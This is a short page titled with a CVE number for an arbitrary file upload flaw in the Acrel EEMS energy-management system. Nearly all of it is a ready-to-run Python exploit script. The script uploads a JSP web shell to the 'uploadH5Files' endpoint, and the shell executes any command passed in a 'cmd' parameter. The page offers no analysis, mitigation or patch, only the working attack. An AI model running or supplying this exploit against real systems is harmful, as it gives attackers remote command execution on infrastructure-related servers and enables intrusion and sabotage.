CVE-2026-7696 Acrel EEMS任意文件上传漏洞

import requests # Target URL configuration target_url = "http://target-ip/SubstationWEBV2/main/uploadH5Files" # Malicious file payload (e.g., JSP Webshell) # The 'File' parameter is the vulnerable argument mentioned in the description payload_content = '<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>' files = { 'File': ('exploit.jsp', payload_content, 'application/octet-stream') } try: # Send the malicious POST request response = requests.post(target_url, files=files, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print("[+] Check the upload directory to access the shell.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")